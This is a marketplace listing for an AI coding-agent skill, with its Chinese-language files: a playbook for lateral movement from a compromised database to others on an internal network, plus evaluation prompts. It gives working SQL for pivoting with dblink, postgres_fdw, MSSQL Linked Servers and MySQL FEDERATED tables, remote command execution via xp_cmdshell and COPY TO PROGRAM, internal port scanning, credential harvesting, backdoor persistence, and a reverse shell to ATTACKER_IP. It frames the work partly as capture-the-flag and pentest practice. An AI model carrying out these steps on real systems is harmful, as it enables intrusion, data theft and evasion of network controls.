
Database Lateral Pivot
- 23 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with databases tasks during AI-assisted development.
About
database-lateral-pivot is a Claude Code skill for databases. It helps solo builders move faster with AI-assisted coding.
- database-lateral-pivot
- Databases
- AI-coding skill
Database Lateral Pivot by the numbers
- 23 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #542 of 911 Databases skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill database-lateral-pivotAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 23 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with databases tasks during AI-assisted development.
Files
数据库横向移动方法论
数据库是内网中天然的跳板——它们通常比应用服务器有更宽松的网络访问策略(需要连接多个服务),而且 PostgreSQL 的 dblink、MSSQL 的 Linked Server、MySQL 的 FEDERATED 引擎都提供了原生的跨主机查询能力。当应用层网络隔离严格时,通过数据库进行横向移动往往是唯一路径。
⛔ 深入参考(必读)
- dblink 连接、Linked Server 利用、SSRF 探测的完整命令和场景 → references/dblink-lateral.md
---
Phase 1: 评估横向条件
在当前数据库中收集信息,判断横向移动的可能性:
-- PostgreSQL: 检查可用扩展
SELECT * FROM pg_available_extensions WHERE name IN ('dblink','postgres_fdw');
-- PostgreSQL: 已有的外部连接配置
SELECT * FROM pg_foreign_server;
SELECT * FROM pg_user_mapping;
-- MSSQL: 检查 Linked Servers
EXEC sp_linkedservers;
SELECT * FROM sys.servers WHERE is_linked = 1;
-- MySQL: 检查 FEDERATED 引擎
SHOW ENGINES;横向条件清单:
- 当前是 superuser/sa/root 吗?(非特权用户通常无法创建 dblink)
- 数据库配置中有没有其他主机的连接信息?
- 环境变量/配置文件中有没有其他数据库的凭据?
Phase 2: 内网信息收集(通过数据库)
数据库本身就是信息金矿:
-- 搜索连接字符串
SELECT * FROM pg_settings WHERE name LIKE '%connection%';
-- 搜索包含密码的表/列
SELECT table_name, column_name FROM information_schema.columns
WHERE column_name LIKE '%pass%' OR column_name LIKE '%secret%' OR column_name LIKE '%token%';
-- 查找其他数据库主机(配置表中常有)
SELECT * FROM config WHERE key LIKE '%host%' OR key LIKE '%db%' OR value LIKE '%.%.%.%';Phase 3: 横向攻击决策树
已控制一个数据库?
├─ PostgreSQL →
│ ├─ dblink(最灵活)→ 连接任意 PostgreSQL/支持的数据库
│ ├─ postgres_fdw(外部数据封装器)→ 透明跨库查询
│ └─ COPY TO PROGRAM + curl → SSRF 探测内网
├─ MSSQL →
│ ├─ Linked Server → 连接其他 MSSQL/任意 OLE DB 数据源
│ ├─ OPENROWSET → 即席跨库查询
│ └─ xp_cmdshell + curl → 内网探测
├─ MySQL →
│ ├─ FEDERATED 引擎 → 跨 MySQL 实例查询
│ └─ LOAD DATA LOCAL → 读取本地文件
└─ 通用 →
├─ 通过命令执行进行端口扫描/服务发现
└─ 利用数据库中存储的凭据连接其他服务→ 各数据库横向的完整命令 → references/dblink-lateral.md
Phase 4: 横向后利用
成功连接到新数据库后:
1. 提取数据 — 用户表、配置表、flag 2. 获取 RCE — COPY FROM PROGRAM / xp_cmdshell / UDF 3. 继续横向 — 新数据库可能连接更多内网资源 4. 持久化 — 创建后门账号、触发器
注意事项
- dblink/Linked Server 查询产生的流量来自数据库服务器 IP,不是你的攻击机 IP
- 利用这一特性可以绕过基于 IP 的网络 ACL
- 数据库间通信通常是明文的,注意凭据安全
- 大量跨库查询会产生日志,注意操作节制
{
"skill_name": "database-lateral-pivot",
"evals": [
{
"id": 1,
"prompt": "已经拿到了 10.0.0.5 上的 PostgreSQL superuser 权限,内网还有一台 10.0.0.10 也开了 5432,用 dblink 过去看看有什么数据",
"expected_output": "使用 dblink 创建连接到 10.0.0.10 的 PostgreSQL,列出数据库和表,搜索敏感数据",
"files": []
},
{
"id": 2,
"prompt": "控制了一台 MSSQL 服务器,发现有 Linked Server 配置指向另外两台数据库,需要横向移动获取更多数据",
"expected_output": "枚举 Linked Server,通过 OPENQUERY 和 RPC 在远程执行查询和命令",
"files": []
},
{
"id": 3,
"prompt": "拿到 PostgreSQL 权限但网络隔离,无法直接访问 10.0.0.0/24 内网段,试试通过数据库探测内网",
"expected_output": "利用 dblink 的连接超时特性进行内网端口扫描,探测存活主机和服务",
"files": []
}
]
}
数据库横向移动详解
1. PostgreSQL dblink 横向
dblink 是 PostgreSQL 内置扩展,允许从一个 PostgreSQL 实例连接到另一个,执行查询并返回结果。这是数据库横向移动最干净的方式——纯 SQL 操作,不需要操作系统权限。
1.1 启用 dblink
-- 需要 superuser 权限
CREATE EXTENSION IF NOT EXISTS dblink;1.2 建立连接并查询
-- 创建命名连接(持久化,可复用)
SELECT dblink_connect('lateral',
'host=10.0.0.2 port=5432 user=postgres password=postgres dbname=postgres sslmode=disable');
-- 执行查询
SELECT * FROM dblink('lateral', 'SELECT version()') AS t(result TEXT);
-- 列出数据库
SELECT * FROM dblink('lateral', 'SELECT datname FROM pg_database') AS t(dbname TEXT);
-- 列出表
SELECT * FROM dblink('lateral',
'SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema NOT IN (''pg_catalog'',''information_schema'')'
) AS t(schema TEXT, name TEXT);
-- 读取数据
SELECT * FROM dblink('lateral', 'SELECT * FROM users') AS t(id INT, username TEXT, password TEXT);
-- 搜索 flag
SELECT * FROM dblink('lateral', 'SELECT tablename FROM pg_tables WHERE tablename LIKE ''%flag%''') AS t(name TEXT);1.3 异步查询(适合大量数据)
-- 发送异步查询
SELECT dblink_send_query('lateral', 'SELECT * FROM large_table');
-- 检查是否完成
SELECT dblink_is_busy('lateral'); -- 0 = 完成
-- 获取结果
SELECT * FROM dblink_get_result('lateral') AS t(col1 TEXT, col2 TEXT);1.4 跨库执行命令(如果目标也是 superuser)
-- 在远程 PostgreSQL 上执行系统命令
SELECT * FROM dblink('lateral',
$$CREATE TABLE IF NOT EXISTS cmd_out(output TEXT);
COPY cmd_out FROM PROGRAM 'id';
SELECT output FROM cmd_out$$
) AS t(output TEXT);
-- 反弹 shell
SELECT dblink_exec('lateral',
$$COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'$$);1.5 断开连接
SELECT dblink_disconnect('lateral');1.6 一次性查询(不需要命名连接)
-- 直接在查询中指定连接串
SELECT * FROM dblink(
'host=10.0.0.2 port=5432 user=postgres password=postgres dbname=postgres',
'SELECT version()'
) AS t(ver TEXT);---
2. PostgreSQL postgres_fdw 横向
postgres_fdw(Foreign Data Wrapper)比 dblink 更正式——创建外部表后可以像访问本地表一样查询远程数据。
-- 安装扩展
CREATE EXTENSION IF NOT EXISTS postgres_fdw;
-- 创建外部服务器
CREATE SERVER remote_db FOREIGN DATA WRAPPER postgres_fdw
OPTIONS (host '10.0.0.2', port '5432', dbname 'postgres');
-- 创建用户映射
CREATE USER MAPPING FOR CURRENT_USER SERVER remote_db
OPTIONS (user 'postgres', password 'postgres');
-- 导入远程表结构
IMPORT FOREIGN SCHEMA public FROM SERVER remote_db INTO local_schema;
-- 现在可以直接查询
SELECT * FROM local_schema.users;
SELECT * FROM local_schema.secrets;---
3. PostgreSQL SSRF(内网探测)
即使 dblink 无法连接远程数据库(对方不是 PostgreSQL 或端口不对),连接尝试本身也有价值——可以探测内网端口。
-- 端口扫描:通过连接超时判断端口是否开放
-- 开放端口:快速返回连接错误
-- 关闭端口:等待超时
SELECT dblink_connect('probe',
'host=10.0.0.1 port=80 user=x password=x dbname=x connect_timeout=3');
-- 快速返回错误 → 端口开放
-- 超时 → 端口关闭
-- 批量扫描
DO $$
DECLARE
port INT;
ports INT[] := ARRAY[22,80,443,3306,5432,6379,8080,8443,9200];
BEGIN
FOREACH port IN ARRAY ports LOOP
BEGIN
PERFORM dblink_connect('probe_' || port,
format('host=10.0.0.1 port=%s user=x password=x dbname=x connect_timeout=2', port));
EXCEPTION WHEN OTHERS THEN
RAISE NOTICE 'Port %: %', port, SQLERRM;
END;
END LOOP;
END $$;---
4. MSSQL Linked Server 横向
MSSQL 的 Linked Server 功能原生支持连接其他 MSSQL 实例,甚至可以通过 OLE DB 连接其他类型的数据源。
4.1 枚举现有 Linked Server
-- 列出所有 Linked Server
EXEC sp_linkedservers;
SELECT * FROM sys.servers WHERE is_linked = 1;
-- 查看权限
EXEC sp_helplinkedsrvlogin;4.2 通过现有 Linked Server 查询
-- 查询远程数据
SELECT * FROM OPENQUERY([LINKED_SERVER_NAME], 'SELECT @@servername');
SELECT * FROM OPENQUERY([LINKED_SERVER_NAME], 'SELECT name FROM sys.databases');
-- 或使用四部分名称
SELECT * FROM [LINKED_SERVER_NAME].master.dbo.sysdatabases;4.3 创建新的 Linked Server
-- 添加 Linked Server
EXEC sp_addlinkedserver
@server='REMOTE',
@srvproduct='',
@provider='SQLNCLI',
@datasrc='10.0.0.2';
-- 配置登录凭据
EXEC sp_addlinkedsrvlogin
@rmtsrvname='REMOTE',
@useself='false',
@rmtuser='sa',
@rmtpassword='password123';
-- 允许 RPC(远程过程调用,用于执行 xp_cmdshell)
EXEC sp_serveroption @server='REMOTE', @optname='rpc out', @optvalue='true';
-- 在远程服务器执行命令
EXEC ('xp_cmdshell ''whoami''') AT [REMOTE];
EXEC ('xp_cmdshell ''type C:\flag.txt''') AT [REMOTE];4.4 OPENROWSET 即席查询(无需配置 Linked Server)
-- 直接连接远程 MSSQL
SELECT * FROM OPENROWSET('SQLNCLI',
'Server=10.0.0.2;Uid=sa;Pwd=password;',
'SELECT @@servername');
-- 需要启用 Ad Hoc Distributed Queries
EXEC sp_configure 'Ad Hoc Distributed Queries', 1; RECONFIGURE;4.5 链式横向(A→B→C)
-- 从 A 通过 B 访问 C
SELECT * FROM OPENQUERY([SERVER_B],
'SELECT * FROM OPENQUERY([SERVER_C], ''SELECT @@servername'')');
-- 或嵌套执行
EXEC ('EXEC (''xp_cmdshell ''''whoami'''''') AT [SERVER_C]') AT [SERVER_B];---
5. MySQL FEDERATED 引擎横向
MySQL 的 FEDERATED 存储引擎允许访问远程 MySQL 实例的表。
-- 检查是否启用
SHOW ENGINES;
-- 如果 FEDERATED 的 Support 是 NO,需要在 my.cnf 中启用
-- 创建 FEDERATED 表
CREATE TABLE remote_users (
id INT,
username VARCHAR(100),
password VARCHAR(100)
) ENGINE=FEDERATED
CONNECTION='mysql://root:password@10.0.0.2:3306/app/users';
-- 查询远程数据
SELECT * FROM remote_users;---
6. 通用:利用数据库存储的凭据
所有数据库都可能存储其他服务的凭据:
-- 搜索包含密码的列
SELECT table_name, column_name FROM information_schema.columns
WHERE column_name ILIKE '%pass%' OR column_name ILIKE '%secret%'
OR column_name ILIKE '%token%' OR column_name ILIKE '%key%';
-- 常见配置表
SELECT * FROM config;
SELECT * FROM settings;
SELECT * FROM sys_config;
SELECT * FROM app_config;
-- Django/Flask 等框架的数据库连接配置
-- 通常在 auth_user 表中存储用户密码 hash
SELECT * FROM auth_user;
SELECT * FROM django_session;获取到新凭据后,回到 database-exploit 技能利用它们连接新目标。